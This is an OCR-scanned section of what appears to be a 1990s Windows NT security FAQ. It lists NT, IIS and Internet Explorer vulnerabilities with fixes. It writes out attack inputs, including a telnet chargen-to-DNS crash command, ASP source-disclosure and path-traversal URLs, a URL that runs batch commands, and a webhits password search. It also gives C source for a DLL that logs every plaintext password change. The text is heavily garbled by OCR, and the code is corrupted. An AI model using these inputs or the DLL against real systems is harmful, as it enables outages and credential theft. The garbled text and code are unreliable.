Net scape says the root of the problemlies in the Squid Proxy, not Comruni cat or

Stopping the Attack : Don't use Communicator for FTP'ing to sites that require a usernanme and
password. Use a standal one FTP client instead, until Netscape releases a fix.

[13.1.4] Internet Information Server DoS attack

Found by Todd Fast

You can crash an I1S box by sending a large URL to it (4-8K). --To Quote ntsecurity.net According
to Mcrosoft personnel, "it's a very specific boundary condition when parsing the headers. The
end of a token (nethod, URL, version or header) nust be exactly at 8k, followed by a second
token. Qur max header buffer is 8k, anything beyond gets thrown out as an invalid request. In this
particul ar scenario, an index gets msinterpreted as a pointer so we deref 0x00002000 which | o'
and behol d, doesn't exist."

Stopping the Attack : Load the patch available from m crosoft.

[13.1.5] Ping O Death II

Found By Jiva DeVoe

In keeping with the tradition of the first ping of death, Ping O Death Il (O SPing) sends

mul tiple

64k packets, which still becone fragnmented and will cause a wi ndows systemto |ock up

conpl etely.

Stopping the Attack : Block all inbound ICVWP traffic.

[13.1.6] NT Server's DNS DoS Attack

--From ntsecurity. net

M crosoft DNS can be nmade to crash by redirecting the output of the Chargen service to the M5
DNS service. A typical attack mi ght be launched froma systemusing the foll owi ng comrand:

$ telnet ntbox 19 | telnet ntbox 53

The above command is shown as seen on a UNI X command |ine. Once the command is issued,

a telnet session is opened on port 19 (chargen) of the ntbox, and all output is redirected to a
second tel net session opened on port 53 (dns) of the sanme ntbox. Launching the attack in this
manner may subj ect the attacker to the sane barrage of packets the DNS service will experience.
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But none-the-less, the attack is successful in crashing M5 DNS

Stopping the Attack : Stopping the attack is done by performng one of the follow ng:

Don't run MS DNS until it's proven to be less bug ridden. Instead, you may opt for running a free
version of BIND for NT which is not subject to this attack. If you rely on M5 DNS i nteroperating
with WNS, you may opt for Metalnfo's DNS, which is a direct BIND port and works great in
conjunction with WNS. If you nmust go on using M5 DNS, be forewarned that it may be incredibly
difficult to stop this attack, since it can be done through inpersonation and by usi ng nonstandard
ports for chargen.

You can bl ock port TCP port 53 using NT's built-in TCP/IP filtering. This stops zone transfers and
TCP based nane resol utions. This does not stop the UDP port 53 fromcontinuing to operate

normal ly. DNS nornally relies on UDP for its name resol ution transacti ons.

O, you can filter TCP port 53 on your routers to bordering networks, allow ng only trusted
secondary DNS servers to do zone transfers.

Any one of the above three solutions should help you stop the attack cold.

This type of attack (pointing chargen output to other ports) can go al ong way towards boggi ng down
lots of services, sonme of which die like M5 DNS. You'd be well advised to disable NI's

Sinple TCP/IP Services (if installed) using Control Panel | Services. This stops the chargen
echo, daytine, discard, and quote of the day (qotd) services. Any of which could be used for
deni al of service attacks. None of these services are required for proper network operation -

al t hough you should be aware that a few types of network nonitors occasionally test the echo

port when they cannot get a response using ping. If you find the need to run one or nore of these
servi ces independant of the others, you can turn on/off each respective service by adjusting

Regi stry entries found in the followi ng subtree

HKEY_LOCAL_MACHI NE\ Cur r ent Cont r ol Set\ Servi ces\ Si npTcp\ Par anet er s

By changi ng the established value of both the Enabl eTcpXXXX and Enabl eUdpXXXX par aneters

fromOx1l to Ox0, you effectively disable that particul ar service.

The foll owi ng paraneters are avail able for adjustnent:

Enabl eTcpChar gen

Enabl eTcpDayti ne

Enabl eTcpDi scard

Enabl eTcpEcho

Enabl eTcpQot d

Enabl eUdpChar gen

Enabl eUdpDayt i ne

Enabl eUdpDi scar d

Enabl eUdpEcho

Enabl eUdpQot d

BE CAREFUL WHEN MAKI NG REG STRY CHANGES, AS ERRORS CAN RENDER A SYSTEM

NON- BOOTABLE
Keep in mnd that this does not stop attacks that originate fromother systenmi s chargen ports, nor
will it stop inpersonated port attacks.

[13.1.7] Index Server Exposes Sensitive Mteri al

Found by Andrew Smith

One of the conponents of Index Server (which is the internal search engi ne conponent thats part

of Internet Information Server.) can expose material of a highly sensitive nature. This conponent,
webhits.exe allows the web server to read files it would normally not be able to read. If the

adm ni strator of the server has left the default sanple files on IS, a hacker could easily have
t he

ability to narrow their searches for usernames and passwords. Once an intruder has |ocated an

I1'S box that has these default sanples still on the server, the intruder can use the sanple search
page to specify only files that have the word password in themand are script files.

The URL the hacker would try is http://servernamne/ sanpl es/ search/ queryhit. htmthen the hacker
woul d search with sonething like "#filenane=*. asp"

When the results are returned not only can one link to the files but also can ook at the "hits"
by

clicking the view hits link that uses the webhits program This program bypasses the security set
by 1S on script files and allows the source to be displayed.

The default path to webhits.exe is:

http://servernane/ scripts/sanpl es/ search/ webhi ts. exe

Stoppi ng the Attack : Renpbve webhits.exe or nove it fromits default |ocation

[13.1.8] The Qut O Band (0OOB) Attack
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This is a DoS attack that affects NT and 95 nachi nes alike.

--To Quote ntsecurity. net

How it Works:

The attack is done by sending Qut of Band (OOB) data to an established connection. NetBI CS,
which |istens on port 139 anong others, seens to be the nbst affected - but the attack may work
agai nst MS-DNS running on port 53, causing nassive Event Log entries related to "sel ect()
errors", as reported by David LeBlanc. Apparently the OS doesn't know how to handl e OOB data
properly, so it may panic, causing strange things to happen. NT displays the Blue Screen of
Death (BSCOD) indicating TCPIP.SYS as the cuplrit, and definately requires a reboot after being
attacked. Wndows 95 may or may not crash conpletely, but always presents a blue exception screen
i ndi cating MSTCP and NDI'S as the culprits. Wn95 always stops tal king on the network

after the attack.

STOPPI NG THE ATTACK

Bl ock i nbound access to port 139 at your router. Alternatively you can stop the server service on
NT systens, but this renders the box unable to share objects such as printers and directories.
You nay al so use the built-in NT TCP/IP filtering to block non-local network access to port 139.
In regards to Wndows 95 nachines, the only way right now to disable port 139 is to unload
network drivers conmpletely, or use a packet filter to block traffic to port 139 on that machine,
as

ment i oned above.

[13.1.9] SMB Downgrade Attack

May 6, 1997 - 3pm CST [NTSD] - On the heals of April's RedButton exploit conmes yet another
denonstration of attacking NT networks. A new program has just been rel eased, conplete with
source code, that will downgrade a Server Message Bl ock (SMB) negotiation - the standard
handshake that occurs when a client attenpts to connect to an NT Server. Downgradi ng the

aut hentication causes the client to send its password in clear text, unencrypted - Quch. This has
been a known possibility for quite some time, however no one has rel eased a working program

al ong with source code up until now.

The program actually runs on a Wndows based system | oaded with Novell ODI style drivers

running in prom scuous node. Once active, the software listens for SMB negotiati ons, and upon
detecting one, the software sends a single packet to the client instructing it to downgrade its
connection attenpt to a clear text level - at which point the client silently obeys by sending its
password in clear readable text. Once this happens this little piece of software actually grabs
t he

password as it travels over the wire and displays it on the screen. The client is successfully
connected to the NT Server, and the user remains none-the-wi ser that its password has just been
gr abbed.

Under W ndows networking, when a client creates a new connection to an NT Server, the clients
can be instructed to use a particul ar authentication mechanism clear-text or chall enge/response
As a result, clients can be instructed to transmt their password in clear text formvery easily.
Furthernore, if an NT Server requested an encrypted login fromthe client, NT will authenticate
the client, even if the client subnits the password in clear text after being told to send an
encrypted chal | enge/ response answer. To nake nmatters worse, there is no indication that this is
taking place, and there is no way to provide an audit trail on the NT Server that indicates the
clients are using clear-text passwords - even though the server has requested encrypted

aut henti cation. Perhaps NT should in fact be capable of logging an audit trail on this type of
activity (hint hint).

A result of this design characteristic, a rogue client could sit on your network silently
listening for

username and password pairs traveling across the network during authentication. No physica
access or user rights and pernissions are required for this attack to work! All that's need is a
connection to your network between the clients and servers.

As | said, this type of SMB downgrade attack has been a known possibility for quite sone tinme -
as noted in the Conmon Internet File System (CIFS) specification (section 8.5.2) - and simlar

al t hough not quite the sane types of exploits have been denonstrated recently by various college
students attenpting to show vulnerabilities in Internet Explorer and Wndows NT. Previously, NT
LAN Manager negotiation and hostile SMB servers were shown to effectively initiate, intercept, or
intervene in certain aspects of the client/server authentication process.

The person bringing this new programto our attention, David Loudon, has suggested that,
"Mcrosoft could initially create a server patch that would not allow the NT Server to accept

cl ear
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text passwords. Wiile this does not prevent the exposure of the clear-text password, at |east the
adm ni strator would be alerted that clients were sending clear-text passwords when requested to
send encrypted passwords. To conpletely resolve this issue, all Mcrosoft networking clients nust
be replaced with new code that woul d never send clear text passwords during the authentication
process.

"As long as Mcrosoft networking is enabled on any DOS, Wndows 3.1, Wndows for

Wor kgroups, W ndows 95, or Wndows NT clients, users are susceptible to disclosing their clear
text passwords to other devices on the physical network. Resolving this issue requires an

adm ni strator to update the Mcrosoft networking conponents on all affected desktops as soon as
a fix is available from M crosoft."

M crosoft is definitely aware of this issue, and it appears that this type of functionality was
knowi ngly put in place in order to remain backward conpatible with older Mcrosoft clients |ike
DOS. As a result, don't expect to see a fix for this until Service Pack 3 comes out, and maybe
even | ater.

The new CI FS Aut hentication proposal seens to address this issue and a few ot her potential

nasty security problens, but there is no guarantee the new CIFS specs will nake it into SP3 yet.
The probabl e outconme is that the new CI FS Authentication specification, which is being hashed

out in a public forumon the Internet, will contain newfound configuration switches that can force
the client and/or servers to require either clear text or encrypted negotiations.

[13.2.0] RedButton

--From ntsecurity. net

A new programwas rel eased this weekend that allows ANYONE with renbpte access to an NT

server (using ports 137, 138, and 139) to connect to that nmachine, read the registry, and create a
new share accessible to the Everyone group. This is a SERI OQUS probl emthat should be guarded
against at all costs. A quick test of this new RedButton program shows that it does in fact
connect

to a rempte NT system

Adm ni strators shoul d seriously consider blocking access to ports 137, 138, and 139 on any

machi nes exposed to the Internet. You can al so stop the Server service to protect yourself,

al though doing so elimnates the ability for that server to share resources.

Anot her consideration is to edit the Registry as foll ows:

1. Open HKEY_LOCAL_MACHI NE/ Current Contr ol Set/ Control / Secur ePi peServers

2. Create a key called winreg (if it doesn't exist)

3. Set the security on it however you like, but don't give the Everyone group access - but don't
define Everyone with NO ACCESS either as this | ocks out all accounts.

4. Reboot the system

RedButton was rel eased by MAC, security consultants, who are naintaining a Wb page about

the new RedButton software at http://wwmv ntsecurity.confredbutton. NOTE: This Wb address is
ntsecurity.com- not associated with NTSD or ntsecurity.net. We are not responsible for content at
thier site.

RedButton will:

* logon renotely to a target conputer w thout presenting a usernane and password

* gain access to the resources available to the Everyone group

* determne the current nanme of built-in Admi nistrator account

* read several registry entries and display the information

* list all shares - even hidden shares

M crosoft rel eased a HOTFI X for the RedButton problens on May 3, 1997. Be CERTAIN to read

t he Know edge Base articles and README files in the distribution directory - this software hotfix
installs itself without warning so be careful to understand it conpletely before proceeding.
[13.2.1] FrontPage WebBot Hol es

---From ntsecurity. net

M crosoft has uncovered a bug in the Mcrosoft FrontPage Server Extensions that allow

know edgeabl e users to potentially add content to pages on a Wb site without perm ssion

t hrough use of raw HTML. This can only happen if:

Soneone viewi ng a Wb page has an advanced nastery of HTM

The Wb site is hosted on a server that contains the FrontPage server extensions

A Wb page contains a Save Results WbBot Conponent or a Di scussi on WbBot Conponent

Since raw HTML is not filtered out of entries made in the entry fields of the Save Results or

Di scussi on WebBot Conponents, it is possible for a know edgeabl e person browsing a site to

enter the tags necessary to create a formwithin these fields. If the results page is then fetched
for
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browsing the newly inserted formw || be available for use by anyone browsing the site. The result
is that anyone browsing could then append information to pages in the Wb site even though they
do not have authoring pernission

After isolating the bug and replicating it we concluded the best way to address the issue was to
create new versions of the FrontPage 97 Server Extensions. These Server Extensions are being
made i mmedi ately avail able at no charge to all of our users via download fromthe FrontPage

Wb site at http://ww. m crosoft.com frontpage/softlib/current.htm In addition, we are in the
process of proactively sending a set of the updated FrontPage 97 Server Extensions to al

Internet Service Providers we know of that are currently using the FrontPage Server Extensions,
and we will also include themin the Wndows NT Server Service Pack 3.

This issue cane to our attention within the last two weeks froma M crosoft enployee creating a
Wb site with FrontPage. Since then we have been confirmng and replicating the error to ensure
that it was not an isolated incident. As far as we know, this issue has affected no one outside of
M crosoft.

This bug affects Wb sites created with FrontPage 1.1 for Wndows and Front Page 97 with

Bonus Pack for Wndows that are hosted on Wb servers with any version of the FrontPage

Server Extensions installed. However, it only affects those sites that contain the WbBot
conmponents descri bed above.

Any web server with the FrontPage 97 or 1.1 Server Extensions installed and active FrontPage
webs with the WebBots specified above are potentially at risk. If the server has server-side

i nclude capability enabled then the potential exposure is higher. However, server-side includes
are a Wb server feature that should be carefully evaluated by any Internet server owner

regardl ess of whether the FrontPage Server Extensions are installed.

This issue is nost likely to be a problemfor Internet Service Providers who are hosting webs on
the Internet with the FrontPage Server Extensions. However, FrontPage 97 automatically installs
a web server onto the workstation in order to store Web sites on the workstation for |ocal

aut hori ng and staging. Consequently each workstation with FrontPage 97 shoul d be upgraded

with the new version of the FrontPage 97 Server Extensions for maxi mum security. |If your

wor kst ati on does not have a full-tinme connection to the Internet and you connect occasionally
through a nodemthen the risk of exposure is low but still present, and M crosoft recomrends
that you install the new Server Extensions.

[13.2.2] IE and NTLM Aut henti cati on

--From ntsecurity. net

A new probl em di scovered in M5 Internet Explorer shows that NT transparently negotiates an
authentication attenpt with a renote Wb server any tine that renote server requests an NTLM

aut hentication process. During that process, Internet Explorer will transmt your user nane,
password, NT domai n or workgroup nane, and host nane.

Take note here that during this negotiation process, tw versions of the user password are

transmtted. One is the full length password and the other represents the first 14 characters of
t he

password, transformed in to upper case letters. This fact alone is a GREAT argunent for |onger
passwords - longer that 14 chars that is.

| E clients cannot detect whether or not this negotiation process is taking place, which nakes it
incredibly difficult to anticipate. Furthernore, |IE can't determnmine what server it's talking to --
that is

to say, it doesn't knowif the server is a valid systemto negotiation with -- which nmeans it
coul d be

a rogue system A server could preplan an attack by preconputing a gi ant database of potential
passwor ds, which can be used for comparison

This is NOT an SMB issue, this is an NTLMissue

EXAMPLE

The exanple is on the page where this was first announced. Please click here to junp to the
ori gi nal page.

SOLUTI ON

You can protect yourself right now by stopping the NTLM SSP service, and disabling it. You may
do this using Control Panel | Services, but keep in nmind this nmay adversely affect the operation
of

the NT system- we take no responsibility.

M crosoft knows about this problem and is looking in to it as of March 14, 1997. Watch this page
for nore info.

[13.2.3] Run Local Conmmands with IE
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--From ntsecurity. net

An icon can be enbedded within a web page, which when doubl e-clicked, may run a renote
application without warning. This is NOT the sanme bug as the ".LNK and .URL" probl em

di scovered recently.

According to the author, "this bug only effects Internet Explorer 3.0 users (version 4.70.1215).
The problemis significantly nmore serious if the user is on a platformwith CFS (Wndows NT 4.0
with Service Pack 1 or later installed). If this is the case, the location of the malicious
execut abl e

code to be run on the victins nmachine could be anywhere on the Internet. If this is not the case,
the | ocation of the nmachine containing the code is restricted to within the scope of Wndows nane
resol ution. For exanple, the host nust be either on the same subnet, listed in the victinis
LVHOSTS file, or listed on the victims WNS server."

Internet Explorer enables a user to utilize a URL describing a renote directory. Wen clicked, the
desktop nmoves to a Wndows Explorer window -- but it's inside of Internet Explorer. If this URL is
used as the basis for an <I FRAME> tag, an enbedded frame can be created with what is

essentially a Wndows Explorer windowinside. If this windowis made small enough, it appears to
be sone sort of button, which when clicked runs a renote program CIFS allows a nachine to

use the IP or hostnane provided in the URL as a way of contacting the renote host containing

t he execut abl e.

[13.2.4] I1E can launch renote apps

--From ntsecurity. net

M crosoft Internet Explorer v3.01 has a serious bug which allows web page witers to use ".LNK"
and ".URL" files to run prograns on a renote conputer. This bug is particularly damagi ng

because it uses NO ActiveX, and works even when Internet Explorer is set to its highest security
level. It was tested on Mcrosoft Internet Explorer Version 3.0 (4.70.1155) runni ng Wndows 95.

M crosoft says that users running Internet Explorer 3.0 and 3.01 for Wndows 95 and W ndows

NT are affected. It does not affect users of Internet Explorer 3.0/ 3.0a for Wndows 3.1 or

I nt er net

Explorer for Macintosh 2.1/ 3.0/ 3.0a.

.URLs work in both Wndows 95 and Wndows NT 4.0 -- .LNK's only work in Wndows 95 -- .URL
files present a possibly greater danger because they can be easily created by server side scripts
to neet the specific settings of a user's system W will provide .URL files for execution in the

next day or so on this page.

The "shortcuts” can be set to be mnimzed during execution which neans that users may not

even be aware that a program has been started. Mcrosoft's inplenentation of shortcuts

beconmes a serious concern if a webpage can tell Internet Explorer to refresh to an executable. O
worse, client side scripts (Java, JavaScript, or VBScript) can use the Explorer object to transfer
a

BATCH file to the target machine and then META REFRESH to that BATCH file to execute the

rogue command in that file.

The META REFRESH tag can be used to execute multiple comands in sequence. This denp

copies a .BAT file into your Internet Explorer cache and then runs the .BAT file. This .BAT will
create a new key in your registry called "HKEY_ CURRENT USER/ Sof t ware/ Cybersnot". It will

t hen open your AUTCEXEC. BAT and CONFI G SYS in notepad. Finally, it will open REGEDI T so

that you can view the key it creates. According to its author, the demp bel ow does not destroy
anyt hi ng and shoul d not cause any problenms on your system HOAEVER by downl oading it, you

assune conplete liablity for what it may do to your system

[13.2.5] Password G abbing Trojans

From Jeremy Allison

I am posting this to both the Sanba list and the nt-security list as | believe this information
will be

of interest to both groups. This nessage is sonmewhat | ong and contai ns code fragnents so ny
apologies if this is of no interest to you (just hit delete :-). Over several years helping to
wite

Sanba and dealing with UNI X and NT integration problens one of the nost common requests

have seen is some way to get a UNI X box (maybe running Sanba) to act as a NT donain

controller, or for sone way to unify the password dat abases between UNI X boxes and NT

Donai ns. The first problemis not solveable due to the anbunt of M crosoft proprietary infornation
they would have to reveal, and Ms are not willing to nake that avail able. The second
probl em however, is nore tractable. It seens in NT4.x Mcrosoft have finally reveal ed enough
informati on to make synchroni sati on between UNI X and NT password dat abases possi bl e.
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Sync'ing froma UN X box to an NT box was al ways possible, as the API's to change an NT
password have al ways been available in the old Lanman APl set, the difficulty was sync'ing NT
password changes to a UNI X box, as the password change API's always seened to go into a

"black box'to which no external access was available. It had to be possible, however, as NT
Domai ns are perfectly capable of synchronising with Netware LANs. As the password hash
mechani sns in NT and Netware are different the Netware password update nechanismhad to

be able to get at the plaintext password at the update tine, before it got hashed and placed in
t he

NT SAM This mechanismis now available to other libraries on NT 4.x.

On NT 4.x there is a Key

HKEY LOCAL_MACHI NE\ SYSTEM Cur rent Cont r ol Set\ Control \ Lsa

and one of the defined nane/value pairs is "Notification Packages" which is a Miulti_string val ue
whi ch as shi pped has a value of FPNWCLNT. This is obviously the name of a DLL (as | found it

as FPNWCLNT. DLL i n %SYSTEMROOT% SYSTEMB2) and |l ogic would dictate that this was the

pl ace that the Netware password updates were done. The | atest Mcrosoft SDK held the m ssing
part of the puzzle, the neccessary API's that need to be in such a DLL in order for it to get
password change notification. So here below, is a very sinple DLL that will receive plaintext
password change notifications fromthe NT LSA code. The sanple code just |ogs all password
change notifications to a file called C\TEMP\ PADCHANGE. QUT, but it illustrates the technique.
To test it, conple the C code and .DEF file into a DLL called pwdchange.dll, copy it to
YSYSTEMROOT% SYSTEMB2 update the val ue

HKEY_LOCAL_MACHI NE\ SYSTEM Cur rent Cont rol Set\ Control \Lsa\ Notificati on Packages

to read

FPNWCLNT

PWDCHANGE

(NB. The newl ine between the two is *inportant*). and then reboot the machine. Tests show that
al |l password changes are now funnelled through this DLL with the followi ng information

User nane, Plaintext password, RID (relative donain id). More interesting is that on creation of a
new user this DLL is also called, this could be used to do centralized account managenent by
creating a new UNI X user on the fly as a new NT user is created. Such a library would be
installed on the Primary domain controller for an NT domain, and will then allow all users
passwords to be propagated to non-NT systens as they are changed. The useful thing about this
method is that it gets called on *all* fornms of password update, fromusing CTRL-ALT-DEL to
updat e your password, using USERMGER to change a password, or even by using the net user

<user nane> <password> conmmand from the conmand pronpt.

My own uses for this will be to keep an snbpasswd file up to date for the use by Sanba, but a
proposed nmechanismto keep a UNI X password database in synch would be as foll ows:

1). Keep the notify DLL sinple, as it is called in the context of an NI security system- we don't
want complexity here. Just wite the change informati on down a named pipe fromthe DLL.

2). Create a service, that creates the read end of the above naned pipe. This service is
configured with the following information, held in the registry.

a). The nanme of the UN X rmachi ne and TCP port nunber of a process on it to communicate with.

b). A 'secret' DES key (secret in quotes as anyone with Adm nistrator access could read it) which
is used to encrypt the change notifications going across the net. This service would just read
password change notifications, encrypt the data and ship it to a UNI X machi ne where it coul d be
processed. This service can get as conplex as we |ike, with queueing, retry, handshaking etc.
3). Create a UNI X daenon, running as root, listening on the TCP port named above for password
change data. This daenobn al so needs access to the 'secret' DES key to decrypt the data
(probably in a root owned and read-only be root file).

Thi s daermon could then be configured to keep whatever databases residing on the UNIX side in
sync are required. Suggestions are the UNI X password dat abase, the Sanba dat abase, a

Ker ber os password dat abase, Oracle, Sybase.... be nmy guest :-).

If this above daenon is witten so that new change notification nodules can be plugged in to it
(like the PAM spec as an exanple) it would be flexible enough for all the above. O course this
wi Il make any securiy expert shudder, as conprom sing the DES key conprmises all new

password changes, but that's the price we pay for sinplicity (Bruce Schneier(sp?) would
definately not approve :-). Anyway enough with the pontificating, here's the code :-). (Code was
witten with Mcrosoft Visual C++ 4.x, not tested on other conpilers). As always, this code has no
warranty, and using it may cause your systemto self destruct in 5 seconds .. .etc, etc, etc...
(hope that's enough | egal -ease to protect ne :-)

Sone coments by: Mark Joseph Edwards
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Al t hough some people think that this exploit only works on a PDC, this is NOT so. It works just
fine on NT systens installed just as a server (non-domain controller), and it also works just fine
on NT Workstation. This DOESN T work on a Backup Donmain Controller, but it DOES work on a
Primary Domain Controller. Also, take note that NT 4.0 and Service Pack 2 (or greater) are
required for this to work on any variety of NT installation. If you want nore information on this
hook, see M crosoft's Know edge Base article # QL51082, |ocated here. You may also want to

take note right here and now that the MSA NA. DLL, which is the default "G aphical |dentification
and Aut hori zation" provider for the |local console |logon, could also be overwitten with a trojan
.DLL. Once this happens, you're toast. Quch!

Here's Jereny's useful (non-trojan) code:

————————————————— cut here-------pwdchange.Cc---------------“--“---------

#i ncl ude <wi ndows. h>

#i ncl ude <stdio. h>

#i ncl ude <stdlib. h>

struct UN _STRI NG {

USHORT | en;

USHORT mex| en;

WCHAR * buf f;

i

static HANDLE f h;

BOOLEAN _ stdcall InitializeChangeNotify ()

{

DWORD wr ot e;

fh = CreateFile("C \\tenp\\pwdchange. out",

CENERI C_ WRI TE,

FI LE_SHARE_READ| FI LE_SHARE WRI TE,

0,

CREATE_ALWAYS,

FI LE_ATTRI BUTE_NORMAL| FI LE_FLAG WRI TE_THROUGH,

0);

WiteFile(fh, "InitializeChangeNotify started\n", 31, &wote, 0);

return TRUE;

}

LONG __stdcall PasswordChangeNotify (

struct UNI _STRI NG *user,

ULONG ri d,

struct UN _STRI NG *passwd

)

{
DWORD wr ot e;

WCHAR wbuf [ 200] ;

char buf[512];

char buf 1[ 200] ;

DWORD | en;

menmcpy(wbuf, user->buff, user->len);

| en = user->l en/si zeof (WCHAR) ;

wbuf [l en] = O;

west ombs( buf 1, wbuf, 199);

sprintf(buf, "User = % : ", bufl);
WiteFile(fh, buf, strlen(buf), &wote, 0);
nmencpy(wbuf, passwd->buff, passwd->|en);

| en = passwd- >l en/ si zeof (WCHAR) ;

wbuf [l en] = O;

west ombs( buf 1, wbuf, 199);

sprintf(buf, "Password = % : ", bufl);
WiteFile(fh, buf, strlen(buf), &wote, 0);
sprintf(buf, "RID = %\n", rid);
WiteFile(fh, buf, strlen(buf), &wote, 0);
return OL;
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EXPORTS

InitializeChangeNotify= InitializeChangeNotify@

Passwor dChangeNot i f y=_Passwor dChangeNot i fy@2

———————————————————— end pwdchange.def-----------mmmmmmm oo

[13.2.6] Reverting an | SAPI Scri pt

| SAPI scripts run under the I USR_MACH NENAME account under 11S, and thus, inherit the
security perm ssions of this account. However, if the |ISAPlI program contains a sinple cal

| abel | ed RevertToSel f(), you have a big hole. Once that programline is executed, the |SAP
programreverts it's authority to the all-powerful SYSTEM account, at which point the program
can do just about anything, including successfully execute system() calls.

Try it yourself - this DLL runs on Intel based IS machines. Drop it in your scripts directory,
and

call it without any paraneters using your Wb browser. (i.e.

http://ww. yoursite.com scripts/revert.dll) It creates a directory called C\IIS-REVERT-TEST with
no trouble at all :( | tested this on an NTFS partition with no nornmal user perm ssions on the

r oot

directory.

Addi tionally, Laxm kant Gunda was ki nd enough to report to us that there is yet another way to
performthis same exploit. Laxnmi kant offers the follow ng:

"I SAPI DLL runs under the security context of the | USR_MACH NENAME account under 11S, and

thus inherit the security perm ssions of that account. However, if the |ISAPI DLL can create a
process using a call to CreateProcess( ). The process created inherits the security context of the
power ful Local System account rather than | USR MACH NENAMVE, thus creating a hole. Thus,

any system process can be fired by the | SAPI DLL using this technique.

This can be tried using a generic |ISAPI DLL & inserting code for CreateProcess( ) with a process
nane present in the system

Thi s behaviour is docunented in MSDN library on Inpersonation : "Wen a thread is

i mpersonating a user, nost actions by the thread are done in the security context of the thread's
i mper sonation token rather than the prinmary token of the process that owns the thread. For
exanpl e, an individual thread of a server process can inpersonate a client to verify that the
client

is allowed to access a securabl e object. However, sone actions are al ways done using the
security context of the process. For exanple, if an inpersonating thread calls the CreateProcess
function, the new process inherits the prinary token of the process rather than the inpersonation
token of the calling thread. Sinilarly, the systemalways uses the primary token of the process to
val idate actions requiring the SE TCB_NAME privil ege."

[13.2.7] Roll back. exe

The Wndows NT 4.0 Server and W rkstation conpact discs include a utility called Roll back. exe.
Rol | back. exe was designed to help conputer manufacturers preinstall Wndows NT 4.0, and all ow
end-users to do the final configuration according to the desired role of the conputer. Running
this

utility will renmove all registry settings on a systemand bring it back to the end of the

Char act er

Based Setup portion of the Setup program effectively undoing everything configured by the GU
portion of Wndows NT Setup

WARNING. Do not run this file on a production systenl There is no way to recover infornation
erased by running this utility, so anything stored in the registry will be lost. This includes
user

account information, protocol bindings, application settings, user preferences, etc.

MORE | NFORMATI ON

If you run Roll back.exe on a production systemthere is no warning that Rollback.exe renoves al
systemregistry entries. Therfore, after you run Roll back.exe there is no systemto rescue or to
restore as the registry and the Setup.log file no | onger exist.

The only fix to this problemis to restore the entire systemfroma current tape back up
Emergency Repair Disk does not restore the systemas it requires the Setup.log and specific

regi stry conponents to be present.

Rol | back. exe is on the Wndows NT conpact discs in the follow ng directory:

suppor t\ dept ool s\ <syst enp\

[13.2.8] Replacing System.dll's

System DLLs are called by applications and the registry, and can be replaced with
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troj aned/ virused versions. %ystenroot% and %systenr oot % systenB2 directories have default
perm ssions of 'Everyone' (includes guest) set to 'Change'. This allows DLLs not in use to be
replaced. DLLs in use are |ocked.

DLLs are run by prograns at various |evels during nornal operation. A DLL for exanple can be
run with SYSTEM privileges by a service while a user with nornmal privileges is |ogged on

This is also true for the MSA@ NA. DLL, which is the default "G aphical Identification and

Aut hori zati on" provider for the |Iocal console |logon, which if replaced, could seriously conprom se
your entire enterprise.

[13.2.9] Renam ng Execut abl es

Execut abl es renaned as .xxx files run as executable fromconmrand |ine. Executables can be
renamed with any extension and run fromthe command pronpt or batch file. Subverts
filtering/ downl oad control by filenane extension

Al so executables without a fil ename extension can be started fromthe command pronmpt or batch
file, as NT will try to run the file as .COM .EXE, .CNMD, or .BAT in that order

This |l eaves roomfor a potential trojan to be introduced into the system

[13.3.0] Viewing ASP Scripts

DESCRI PTI ON
A serious security hole was found in Mcrosoft's Active Server Pages (ASP) by Juan T. Llibre
<j.llibre@odetel.net.do> This hole allows Web clients to downl oad unprocessed ASP files

potentially exposing user ids and passwords. ASP files are the comon file type used by
Mcrosoft's IS and Active Server to perform server-side processing. Mcrosoft confirns that .HTX
and .I1DC files are al so vul nerable.

HOW I T WORKS

To downl oad an unprocessed ASP file, sinply append a period to the asp URL. For exanple:
http://ww. domai n1. com defaul t.asp beconmes http://ww. dormai nl. conf default.asp. Wth the

peri od appendage, Internet Information Server (11S) will send the unprocessed ASP file to the
Web client, wherein the source to the file can be examined at will. If the source includes any
security paraneter designed to allow access to other system processes, such as an SQ

dat abase, they will be reveal ed.

[13.3.1] .BAT and .CMD Attacks

Sending a conmand |line to the server, such as

"http://ww. domai n. cond scri pt s/ expoit. bat ?2&ommandA+?&comrandB" to the server, and then
clicking the Stop Button on the browser will cause the server to execute DOS conmands on the
server's OS.

Adding a '+?& inme' or '+?&date' to the end of the comand, will cause the server to pause for
input. Cicking the Stop Button on the browser will interrupt the server making a |log entry of the
command string executed.

[13.3.2] 1IS/..\.. Problem

A URL such as '"http://ww. domain.com..\.."' allows you to browse and downl oad fil es outside of
the webserver content root directory. A URL such as

"http://ww. domai n.com scripts..\..\scriptnane' allows you to execute a target script.

By default user 'Guest' or 'IUSR MACH NENAME' has read access to all files on an NT disk

These files can be browsed, executed or downl oaded by wanderi ng guests.

[13.3.3] Truncated Files

A URL such as http://ww. domai n. coni scripts/exploit.bat>PATH\target.bat will create a file called
"target.bat". If the file "target.bat" already exists, the file will be truncated, erasing any
previ ous

cont ent s.

[13.3.4] SNA Hol es

--From ntsecurity. net

When you attach to shared fol ders on an AS/ 400 using SNA Server, where the security level is

set to 30 or higher, and security has been set on the folders to allow |linited access, after the
first

user connects to a shared folder, all subsequent users acquire the first user's access perm ssions
to shared fol ders.

Thi s probl em occurs when SNA Server is sharing a single Local APPC LU when comuni cating

to an AS/ 400. The security for shared folders on the AS/ 400 (when security is set to level 30 or
higher), is tied to the controller. In this case, the AS/400 views the controller as its Renote
LU, or

SNA Server's Local APPC LU

The transaction program whi ch supports the shared folders function on the AS/ 400 identifies a
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user based on the SNA Server Local APPC LU nanme being used. Therefore, if nultiple SNA

Server users are sharing the same Local APPC LU for use with shared folders, you are able to

vi ew each other's AS/ 400 folders. Due to the design of the AS/ 400 shared fol ders feature, the
first

shared folder's user to connect over a Local APPC LU determi nes the AS/ 400 security rights for
the renai ni ng users who connect over the sanme Local APPC LU

For Mcrosoft' information on this, see their Know edge Base article:

http://ww. nm crosoft.com kb/articles/ql138/0/01. ht m

DEFENSE

Create a separate LU (Local to the SNA Server) for each user and pair each LU with the

AS/ 400's LU. Then each user accesses a separate controller and has appropriate access to

shared folders. In addition, each shared folder's client application nmust be configured with a
uni que Local APPC LU alias. If you prefer to leave this field enpty, the SNA Server administrator
can assign a default Local APPC LU alias for each user using SNA Admin (2.x) or SNA Server
Manager (3.x) configured on the user record.

[13.3.5] SYN Fl oodi ng

On your conputer running the TCP/IP protocol and connected to the Internet, sone or all network
services are rendered unavail able and error nmessages such as the foll owi ng appear on the
network client screen

The connection has been reset by the renote host.

This symptom of all network services being rendered unavail abl e may al so occur on a conputer
runni ng an operating systemother than Wndows NT, for exanple, Unix.

